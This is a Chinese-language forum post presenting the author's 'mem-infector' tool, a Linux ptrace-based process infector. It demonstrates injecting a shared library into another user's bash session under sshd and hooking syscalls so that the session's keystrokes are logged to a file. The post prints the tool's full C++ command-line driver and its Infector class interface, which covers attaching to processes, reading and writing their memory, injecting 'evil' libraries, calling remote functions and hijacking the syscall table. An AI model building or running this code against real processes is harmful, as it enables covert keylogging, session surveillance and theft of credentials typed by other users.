好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 lmclmc 于 2023-9-13 23:59 编辑
先上链接,不定期更新
https://github.com/lmclmc/mem-infector
先把提纲列好,回头慢慢补充
一.说明
1.依赖库说明
整个仓库只使用linux系统调用,不依赖任何第三方库
2.目录说明
src/infector 感染目标进程后,将动态库注入其内存一系列操作的代码目录
src/inject 被注入的动态库代码目
src/target 操作目标进程的代码目录
src/xed 计算x86_64 cpu架构机器指令长度的代码目录
二.演示效果,监听ssh服务
1.左侧控制台为正常用户操作的控制台
2.因为是通过ssh连接的控制台,所以后台有个sshd服务会为该连接创建一个子进程ssh,然后该子进程ssh又会创建一个bash子进程为用户提供终端服务,现在我们把bash进程的pid号标红,为将来内存感染做准备。
3.打开右侧控制台,然后下载mem-infector源码
4.进入mem-infector目录下输入./build.sh 开始编译
5.编译完成后会生成build构建目录,然后查看内存感染命令的用法
6.现在开始感染目标进程,有一个空文件,路径/home/lmc/Desktop/tmp.log ,我们的目标是把左边正常控制台的输入打印到tmp.log文件里面来实现监听。先看看tmp.log文件里面什么都没有,并且目标进程bash里面也没有链接我们的感染动态库,红框所示。
7.在左边控制台输入一些字符,并且在右侧控制台使用tail命令在后台不断刷新tmp.log文件,查看是否有新的输入,结果没有输入,红框所示。
8.右侧控制台执行virus命令开始感染, 感染成功,参数说明一下-p 后面是目标进程的进程id,-l 后面是需要注入到目标进程的动态库路径,-sl 后面是日志等级 all打印所有日志 -ho 是动态库注入成功后进行函数查桩劫持
9.查看左侧控制台bash进程的动态库,发现我们的libinject.so注入成功,红框所示
10.左侧控制台输入的字符,开始打印到tmp.log文件里面了。开始监听
三.示例用法
1.demo示例以及用法
[C++] 纯文本查看 复制代码 #include "version.h"
#include "infector/infector.h"
#include "cmdline/cmdline.h"
#include "util/single.hpp"
#include "log/log.h"
#include <elf.h>
#include <dlfcn.h>
#include <sys/mman.h>
#include <string.h>
#include <vector>
#include <sys/types.h>
#include <sys/wait.h>
#define LIBC_SO "libc-2.31.so"
using namespace lmc;
int main(int argc, char *argv[])
{
CmdLine *pCmd = TypeSingle<CmdLine>::getInstance();
pCmd->add<int>("-p", "--pid", "set target pid", {}, {1, 1000000});
pCmd->add<std::list<std::string>>("-l", "--link", "link so", {"--pid"});
pCmd->add<std::string>("-ga", "--getfunaddr",
"get target process function addr", {"--pid"});
pCmd->add<std::string>("-sl", "--setloglevel", "set log level", {},
{"info", "error", "debug", "warning", "all"});
pCmd->add<std::string>("-o", "--outputfile", "set output log file");
pCmd->add<std::string>("-sa", "--setaddr",
"set target mem addr", {"--pid"});
pCmd->add<std::string>("-w", "--write", "write str to target mem",
{"--pid", "--setaddr"});
pCmd->add<int>("-r", "--read", "read str from target mem",
{"--pid", "--setaddr"});
pCmd->add("-ho", "--hook", "hook syscall", {"--pid", "--link"});
pCmd->add("-v", "--version", "get version");
pCmd->parse(false, argc, argv);
bool ret = pCmd->get("--version");
if (ret)
{
std::cout << "version: " << PROJECT_VERSION << std::endl;
exit(0);
}
std::string logStr;
ret = pCmd->get("--setloglevel", logStr);
if (ret && !logStr.empty())
{
if (logStr == "close")
Logger::setLevel(LogLevel::close);
else if (logStr == "info")
Logger::setLevel(LogLevel::info);
else if (logStr == "warning")
Logger::setLevel(LogLevel::warning);
else if (logStr == "debug")
Logger::setLevel(LogLevel::debug);
else if (logStr == "error")
Logger::setLevel(LogLevel::error);
else if (logStr == "all")
Logger::setLevel(LogLevel::all);
}
std::string outputfileStr;
ret = pCmd->get("--outputfile", outputfileStr);
if (ret && !outputfileStr.empty())
Logger::setOutputFile(outputfileStr);
int pid;
ret = pCmd->get("--pid", pid);
if (!ret)
{
LOGGER_INFO << "please set --pid";
return 0;
}
std::string addrStr;
Infector infector(pid, LIBC_SO);
ret = pCmd->get("--setaddr", addrStr);
if (ret && !addrStr.empty())
{
Elf64_Addr targetAddr;
sscanf(addrStr.c_str(), "%lx", &targetAddr);
LOGGER << LogFormat::addr << "targetAddr = " << targetAddr;
infector.attachTarget();
std::string writeStr;
ret = pCmd->get("--write", writeStr);
if (ret && !writeStr.empty())
{
if (infector.writeStrToTarget(targetAddr, writeStr))
{
LOGGER << "write " << writeStr << " successful";
}
else
{
LOGGER << "write " << writeStr << " failed";
}
}
int readSize = 0;
ret = pCmd->get("--read", readSize);
if (ret)
{
std::string str;
if (infector.readStrFromTarget(targetAddr, str, readSize))
{
LOGGER << "read " << str << " successful";
}
else
{
LOGGER << "read " << str << " failed";
}
}
}
std::string funaddrStr;
ret = pCmd->get("--getfunaddr", funaddrStr);
if (ret)
{
infector.loadAllSoFile();
LOGGER << LogFormat::addr << infector.getSym(funaddrStr);
return 0;
}
std::list<std::string> linkList;
ret = pCmd->get("--link", linkList);
if (ret && linkList.size())
{
if (!infector.attachTarget())
{
LOGGER_ERROR << "attachTarget";
return 0;
}
for (auto &l : linkList)
{
infector.injectEvilSoname(l);
}
}
ret = pCmd->get("--hook");
if (ret)
{
infector.injectSysTableInit();
}
if (!infector.detachTarget())
{
return 0;
}
}
下图为用法
2.接口用法
src/infector/infector.h
[C++] 纯文本查看 复制代码 #ifndef INFECTOR_H_
#define INFECTOR_H_
#include <vector>
#include <iostream>
#include <functional>
#include <map>
#include <elf.h>
#define MAX_ARG_NUM 7
class TargetOpt;
struct xed_decoded_inst_s;
typedef struct xed_decoded_inst_s xed_decoded_inst_t;
class Infector final
{
public:
using SymTab = std::map<std::string, long>;
using SymTabs = std::map<std::string, SymTab>;
/**
* @brief 构造函数,创建对象
*
* @Param pid 需要感染的目标进程
* @param libcSoname 目标进程使用的C库名称
*/
Infector(int pid, const std::string &libcSoname);
~Infector();
/**
* @brief 链接目标进程并且将其阻塞
* @Return true 成功
* @return false 失败
*/
bool attachTarget();
/**
* @brief 断开与目标进程的链接,使目标进程重新进入运行状态
* @return true 成功
* @return false 失败
*/
bool detachTarget();
/**
* @brief 注入动态库
* @param 准备注入的动态库
* @return true 成功
* @return false 失败
*/
bool injectEvilSoname(const std::string &evilsoname);
/**
* @brief 在目标进程内部调用其函数
*
* @param Args 可以传入任意类型的参数,但是参数类型一定要限制为CPU寄存器认识的类型
* 如,地址,值变量等 包括但不限于 long int short char等等。
* @param args 第一个参数为目标进程的函数地址,表示在目标函数内部调用该函数,
* 后面的参数均为传入目标进程函数的参数,但是要注意后面的参数一定也要来自目标进程。
* 并且还需要注意第一个参数后面的参数数量要与目标函数定义的参数数量相等。
* @return long 在目标进程内部调用函数完毕后,将返回值读取到本进程
*/
template<class ...Args>
long callRemoteFunc(Args ...args)
{
constexpr int argsNum = sizeof...(args);
static_assert(argsNum <= MAX_ARG_NUM,
"the number of parameters is more than MAX_ARG_NUM");
Elf64_Addr retAddr = 0;
for (int i = 0; i < 20; i++)
{
if (!backupTarget())
return 0;
callRemoteFuncIdx<0>(args...);
if (!updateTarget())
return 0;
retAddr = restoreTarget();
if (retAddr)
return retAddr;
if (!stepTarget())
return 0;
}
return 0;
}
/**
* @brief 向目标进程的目标地址里面写字符串。
* @param addr 目标地址
* @param str 字符串内容
* @return true 成功
* @return false 失败
*/
bool writeStrToTarget(Elf64_Addr &addr, const std::string &str);
/**
* @brief 从目标进程的目标地址里面读取字符串。
* @param addr 目标地址
* @param str 字符串内容
* @param size 读取的大小
* @return true 成功
* @return false 失败
*/
bool readStrFromTarget(Elf64_Addr &addr, std::string &str, int size);
/**
* @brief 将目标进程链接的动态库的符号信息加载进本进程
* @param soname 指定动态库名称
* @param update 是否更新so
* @return true 成功
* @return false 失败
*/
bool loadSoFile(const std::string &soname, bool update = false);
/**
* @brief 将目标进程链接的所有动态库的符号信息加载进本进程
* @param update 是否更新so
* @return true 成功
* @return false 失败
*/
bool loadAllSoFile(bool update = false);
/**
* @brief 获取目标进程连接的动态库的符号地址。与一定要在loadSoFile后面使用
* @param symname 符号名称
* @param soname 指定动态库名称,当动态库为空时,搜索全局符号
* @return long 目标进程内部的符号地址
*/
Elf64_Addr getSym(const std::string &symname, const std::string &soname = "");
/**
* @brief 在目标进程内部注入线程
* @param funcAddr 目标进程内部的函数地址
* @param paramAddr 目标进程内部的参数地址
* @return true 成功
* @return false 失败
*/
bool createThread(Elf64_Addr funcAddr, Elf64_Addr paramAddr);
/**
* @brief 目标进程函数劫持,暂时考虑是否弃用该接口
* @param srcAddr 目标进程中,被劫持的函数地址
* @param dstAddr 目标进程中,需要跳转到的函数地址
* @param tmpAddr 目标进程中,用于备份被劫持的函数前半部分机器指令
* @param setAddr 设置tmpAddr,用于函数调用
* @return int
*/
int remoteFuncJump(Elf64_Addr &srcAddr, Elf64_Addr &dstAddr,
Elf64_Addr &tmpAddr, Elf64_Addr &setAddr);
/**
* @brief 目标进程的系统调用表劫持
* @return true 劫持成功
* @return false 劫持失败
*/
bool injectSysTableInit();
private:
template<int idx, class T, class ...Args>
void callRemoteFuncIdx(T t, Args ...args)
{
mRegvec[idx](t);
return callRemoteFuncIdx<idx+1>(args...);
}
template<int idx, class T>
void callRemoteFuncIdx(T t)
{
mRegvec[idx](t);
return;
}
void regvecInit();
bool backupTarget();
bool updateTarget();
long restoreTarget();
bool stepTarget();
bool getSoInfo(const std::string &, std::string &, Elf64_Addr &);
Elf64_Addr syscallJmp(const std::string &, const std::string &,
const std::string &, Elf64_Addr);
private:
int mPid;
struct user_regs_struct *pNewRegs;
struct user_regs_struct *pOrigRegs;
TargetOpt *pTargetOpt;
xed_decoded_inst_t *xedd;
std::string mLicSoname;
std::string mEvilSoname;
std::map<std::string, std::string> soMap;
std::vector<std::function<void(long)>> mRegvec;
SymTabs symTabs;
unsigned char backupCode[8] = {0};
};
#endif
三.设计原理以及实现
1.动态库注入
todo...
2.目标进程函数劫持
todo...
四:备注
本仓库会使用到一些我开发的轮子,比如命令行解析,log日志,单例模板等功能
轮子仓库链接如下 https://github.com/lmclmc/base-components-tool。
|
|